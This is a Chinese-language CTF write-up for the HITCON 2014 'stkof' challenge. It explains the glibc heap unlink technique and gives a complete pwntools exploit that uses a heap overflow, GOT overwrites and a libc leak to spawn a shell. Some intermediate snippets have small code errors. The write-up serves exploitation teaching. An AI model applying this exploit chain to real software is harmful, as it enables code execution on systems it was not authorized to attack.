HITCON 2014 stkof Writeup(Unlink)

2019-10-12 7,726

Free Chunk

当free一块在堆上的chunk时,会判断该chunk的物理位置上的前后是否存在未使用的chunk(free chunk)。

若存在则进行向前合并或向后合并,将free chunk从bins上的双向链表中进行unlink。

现有a、b、c、d四个allocated chunk在堆中位置如下 (图片需要补充地址顺序、top chunk位置)

image-20191010115757841image-20191010115757841.png

以free(b)为例

  • 向后合并,根据chunk b的P标志位判断物理位置上相邻的前一个chunk a(低地址)是否被使用,若为free chunk,则根据size of pre_chunk找到前一个chunk a,然后使用unlink将chunk a从链表中删除。

     /* consolidate backward */
     if (!prev_inuse(p)) {
       prevsize = p->prev_size;
       size += prevsize;
       p = chunk_at_offset(p, -((long) prevsize));
       unlink(av, p, bck, fwd);
     }


  • 向前合并,根据chunk b的size of cur_chunk找到物理位置上相邻的后一个chunk c(高地址),若chunk c不为top chunk则根据chunk c的size获取chunk d的位置并根据chunk d的P标志位判断前一个chunk c是否被使用,若为free chunk,然后使用unlink将chunk a从链表中删除。

 nextchunk = chunk_at_offset(p, size);
 //..........
 if (nextchunk != av->top) {
       /* get and clear inuse bit */
       nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
 
       /* consolidate forward */
       if (!nextinuse) {
  unlink(av, nextchunk, bck, fwd);
  size += nextsize;
       } else
  clear_inuse_bit_at_offset(nextchunk, 0);
 
   //...................
     }
 


Unlink漏洞

若chunk a存在堆溢出漏洞(data内容可控且无输入长度限制)覆盖到chunk b,在chunk a的data处创建fake free chunk,并更改chunk b的结构中的前16个字节(前两个属性,size of chunk a和P位标志)

image-20191009130358509

  • P位标志置零使上一个chunk a被认为free chunk,Free(b)时会触发向后合并。

  • size of chunk a被改写,向后合并时会找到fake free chunk。

  • fake free chunk中的bk和fd内容覆盖可控,触发unlink过程。


unlink操作过程前后链接指针的变化,可以简化描述如下:

 //p指向待合并free chunk,可能是前面的chunk也可能是后面的chunk
 FD = p->fd;
 BK = p->bk;
 if(FD->bk == p && BK->fd == p){
  FD->bk = BK;
  BK->fd = FD;
 }

FD->bk == p && BK->fd == p为双链表冲突检测,需要绕过该检测才能进行任意地址写,可以通过元素为malloc地址的指针数组绕过。


在堆溢出后,进入unlink前,三者相等:globals[index] == malloc(x) == fake chunk == p

结构体属性为地址偏移,根据p->fd->bk == p推导公式如下:

fake chunk->fd->bk == fake chunk =>  *(fake chunk->fd + 0x18) == fake chunk =>

*(fake chunk->fd + 0x18) == globals[index] => (fake chunk->fd + 0x18) == globals =>

(fake chunk->fd) == globals - 0x18 => (fake chunk + 0x10) == globals - 0x18


同理,根据p->bk->fd == p推导公式结果为 (fake chunk + 0x18) == globals - 0x10



题目

题目地址

https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/unlink/2014_hitcon_stkof

题目环境

操作系统版本为Ubuntu 16.04.6 LTS

 root@10-8-163-191:~# lsb_release -a
 No LSB modules are available.
 Distributor ID: Ubuntu
 Description: Ubuntu 16.04.6 LTS
 Release: 16.04
 Codename: xenial

libc版本为v2.23,其他版本需要在v2.26或以及更低版本

 root@10-8-163-191:~# ldd  --version
 ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23
 Copyright (C) 2016 Free Software Foundation, Inc.
 This is free software; see the source for copying conditions.  There is NO
 warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 Written by Roland McGrath and Ulrich Drepper.


注意

不能使用Ubuntu 18.04.3 LTS,libc版本过高(v2.27)

 root@ubuntu:/home/rai4over/Desktop# lsb_release -a && ldd  --version
 No LSB modules are available.
 Distributor ID: Ubuntu
 Description: Ubuntu 18.04.3 LTS
 Release: 18.04
 Codename: bionic
 ldd (Ubuntu GLIBC 2.27-3ubuntu1) 2.27
 Copyright (C) 2018 Free Software Foundation, Inc.
 This is free software; see the source for copying conditions.  There is NO
 warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 Written by Roland McGrath and Ulrich Drepper.


解题

查看文件基本信息

 root@10-8-163-191:~/pwn/ctf-challenges/pwn/heap/unlink/2014_hitcon_stkof# file stkof && checksec stkof
 stkof: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=4872b087443d1e52ce720d0a4007b1920f18e7b0, stripped
 [*] '/root/pwn/ctf-challenges/pwn/heap/unlink/2014_hitcon_stkof/stkof'
     Arch:     amd64-64-little
     RELRO:    Partial RELRO
     Stack:    Canary found
     NX:       NX enabled
     PIE:      No PIE (0x400000)

Partial RELRO,可以修改got表


函数信息如下

main函数

 __int64 __fastcall main(__int64 a1, char **a2, char **a3)
 {
   int choice; // eax
   signed int v5; // [rsp+Ch] [rbp-74h]
   char nptr; // [rsp+10h] [rbp-70h]
   unsigned __int64 v7; // [rsp+78h] [rbp-8h]
 
   v7 = __readfsqword(0x28u);
   alarm(0x78u);
   while ( fgets(&nptr, 10, stdin) )
   {
     choice = atoi(&nptr);
     if ( choice == 2 )
     {
       v5 = fill();
       goto LABEL_14;
     }
     if ( choice > 2 )
     {
       if ( choice == 3 )
       {
         v5 = free_chunk();
         goto LABEL_14;
       }
       if ( choice == 4 )
       {
         v5 = print();
         goto LABEL_14;
       }
     }
     else if ( choice == 1 )
     {
       v5 = alloc();
       goto LABEL_14;
     }
     v5 = -1;
 LABEL_14:
     if ( v5 )
       puts("FAIL");
     else
       puts("OK");
     fflush(stdout);
   }
   return 0LL;
 }

用于控制流程,将stdin转换为整型,根据输入调用不同的函数。


输入1,进入alloc函数()

 signed __int64 alloc()
 {
   __int64 size; // [rsp+0h] [rbp-80h]
   char *v2; // [rsp+8h] [rbp-78h]
   char s; // [rsp+10h] [rbp-70h]
   unsigned __int64 v4; // [rsp+78h] [rbp-8h]
 
   v4 = __readfsqword(0x28u);
   fgets(&s, 16, stdin);
   size = atoll(&s);
   v2 = (char *)malloc(size);
   if ( !v2 )
     return 0xFFFFFFFFLL;
   globals[++cnt] = v2;
   printf("%d\n", (unsigned int)cnt, size);
   return 0LL;
 }

存在两个未初始化的变量,存在于bss节中。

  • cnt,int cnt,默认值为零,作为指针数组索引。

  • globals,char *globals[],指针数组。

将stdin转换为整型作为size,然后malloc堆空间,返回的地址根据索引存入globals,且有++cnt,因此索引从1开始。


输入2,进入fill函数

 signed __int64 fill()
 {
   signed __int64 result; // rax
   int i; // eax
   unsigned int idx; // [rsp+8h] [rbp-88h]
   __int64 size; // [rsp+10h] [rbp-80h]
   char *ptr; // [rsp+18h] [rbp-78h]
   char s; // [rsp+20h] [rbp-70h]
   unsigned __int64 v6; // [rsp+88h] [rbp-8h]
 
   v6 = __readfsqword(0x28u);
   fgets(&s, 16, stdin);
   idx = atol(&s);
   if ( idx > 0x100000 )
     return 0xFFFFFFFFLL;
   if ( !globals[idx] )
     return 0xFFFFFFFFLL;
   fgets(&s, 16, stdin);
   size = atoll(&s);
   ptr = globals[idx];
   for ( i = fread(ptr, 1uLL, size, stdin); i > 0; i = fread(ptr, 1uLL, size, stdin) )
   {
     ptr += i;
     size -= i;
   }
   if ( size )
     result = 0xFFFFFFFFLL;
   else
     result = 0LL;
   return result;
 }

根据索引在globals数组获取地址,并通过修改堆的内容,size可控并且没有限制长度,存在堆溢出漏洞。


输入3,free_chunk函数

 signed __int64 free_chunk()
 {
   unsigned int idx; // [rsp+Ch] [rbp-74h]
   char s; // [rsp+10h] [rbp-70h]
   unsigned __int64 v3; // [rsp+78h] [rbp-8h]
 
   v3 = __readfsqword(0x28u);
   fgets(&s, 16, stdin);
   idx = atol(&s);
   if ( idx > 0x100000 )
     return 0xFFFFFFFFLL;
   if ( !globals[idx] )
     return 0xFFFFFFFFLL;
   free(globals[idx]);
   globals[idx] = 0LL;
   return 0LL;
 }

根据索引在globals数组获取地址,再free空间。




解题思路

模拟功能

 def alloc(size):
     p.sendline("1")
     p.sendline(str(size))
     p.recvuntil("OK\n")
     log.success("Malloc chunk:"+hex(size))
   
 def free(index):
   index = str(index)
     p.sendline("3")
     p.sendline(str(idx))
     log.success("Free chunk:"+ index)
   
 def edit(index,payload):
   index = str(index)
     size = str(len(payload))
     p.sendline("2")
     p.sendline(index)
     p.sendline(size)
     p.send(payload)
     p.recvuntil("OK\n")
     log.success("Edit chunk:" + index)
     
 p = process("./stkof")
 libc = ELF("./libc.so.6")
 elf = ELF("./stkof")


申请空间

题目没有通过setbuf()/setvbuf()函数关闭缓冲区,因此程序中的fgets等函数同样也会用到heap,此时没有手动申请空间也存在heap。

image-20191009170547863image-20191009170547863.png


自动申请的chunk会破坏堆中chunk的排列顺序,故需要申请3次才能的到两个连续的chunk可用于覆盖。

image-20191009175919599image-20191009175919599.png


这里第三个申请的chunk需要为small chunk,大小需要大于全局变量global_max_fast(0x80、128),不然会进入fastbin chunk 流程,无法按预期unlink。


image-20191009181852845.png

堆溢出

使用fill函数在globals[2]进行堆溢出,此时的堆结构和globals数组的状态如下

image-20191009193815414.png

unlink

free(globals[3]),触发向后合并,第二个chunk作为参数传入unlink,unlink后globals数组发生变化

globals[2] == &globals[2]-0x18 => globals[2] == &globals[-1]

image-20191009201435949image-20191009201435949.png


上述部分实现代码如下:

 #gdb.attach(p,"break *0x400D29")
 globals = 0x0602140
 #申请空间
 alloc(0x90)
 alloc(0x50)
 alloc(0x80)
 #堆溢出
 fd = globals+0x10-0x18
 bk = globals+0x10-0x10
 payload = p64(0)+p64(0x50)+p64(fd)+p64(bk)
 payload = payload.ljust(0x50,'A')
 payload += p64(0x50) + p64(0x90)
 edit(2, payload)
 #unlink
 free(3)


覆盖

此时修改globals[2]就是修改globals[-1],然后直接从globals[-1]开始覆盖,填充两个元素,剩余元素覆盖为各个函数got表地址,此时globals[1]指向free@got

image-20191009204816292image-20191009204816292.png

然后再通过修改globals[1]覆写free@got为puts@got,然后再free(globals[2]) == puts@plt(puts@got)

数组覆盖、leak偏移地址、计算system地址

 #覆盖数组元素
 free_got = elf.got['free']
 puts_got = elf.got['puts']
 puts_plt = elf.plt['puts']
 atoi_got = elf.got['atoi']
 payload = 'A'*16 + p64(free_got) + p64(puts_got) + p64(atoi_got)
 edit(2,len(payload),payload)
 #leak puts地址 -puts@plt(puts@got)
 edit(1,len(p64(puts_plt)),p64(puts_plt))
 free(2)
 s.recvline()
 puts_add = u64(s.recvline(keepends=False)[0:8].ljust(8,'\x00'))
 log.success("Puts_real:"+hex(puts_add))
 #计算偏移地址
 offset = puts_add - libc.symbols['puts']
 log.success("Offset:"+hex(offset))
 #计算system地址
 system_addr = libc.symbols['system'] + offset
 log.success("System_addr:" + hex(system_addr))

改写atoi@got为system,直接发送/bin/sh\x00,在选择功能时有atoi(&nptr);,getshell。

 edit(3,p64(system_addr))
 p.sendline("/bin/sh\x00")
 p.interactive()


合并代码

 #coding=utf-8
 from pwn import *
 context.terminal = ['tmux', 'splitw', '-h']
 def alloc(size):
     p.sendline("1")
     p.sendline(str(size))
     p.recvuntil("OK\n")
     log.success("Malloc chunk:"+hex(size))
 
 def free(index):
     index = str(index)
     p.sendline("3")
     p.sendline(str(index))
     log.success("Free chunk:"+ index)
 
 def edit(index,payload):
     index = str(index)
     size = str(len(payload))
     p.sendline("2")
     p.sendline(index)
     p.sendline(size)
     p.send(payload)
     p.recvuntil("OK\n")
     log.success("Edit chunk:" + index)
 
 p = process("./stkof")
 libc = ELF("./libc.so.6")
 elf = ELF("./stkof")
 
 
 globals = 0x0602140
 gdb.attach(p,"break *0x400D29")
 alloc(0x90)
 alloc(0x50)
 alloc(0x80)
 fd = globals+16-0x18
 bk = globals+16-0x10
 payload = p64(0)+p64(0x50)+p64(fd)+p64(bk)
 payload = payload.ljust(0x50,'A')
 payload += p64(0x50) + p64(0x90)
 edit(2, payload)
 free(3)
 
 free_got = elf.got['free']
 puts_got = elf.got['puts']
 puts_plt = elf.plt['puts']
 atoi_got = elf.got['atoi']
 payload = 'A'*16 + p64(free_got) + p64(puts_got) + p64(atoi_got)
 edit(2,payload)
 edit(1,p64(puts_plt))
 free(2)
 p.recvline()
 puts_add = u64(p.recvline(keepends=False)[0:8].ljust(8,'\x00'))
 log.success("Puts_real:"+hex(puts_add))
 
 offset = puts_add - libc.symbols['puts']
 log.success("Offset:"+hex(offset))
 system_addr = libc.symbols['system'] + offset
 log.success("System_addr:" + hex(system_addr))
 
 
 edit(3,p64(system_addr))
 p.sendline("/bin/sh\x00")
 p.interactive()
 


参考

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/unlink-zh/

https://segmentfault.com/a/1190000005655132#articleHeader7


本文作者:Rai4over

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/115388.html

Tags:
评论  (0)
快来写下你的想法吧!

Rai4over

文章数:30 积分: 625

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号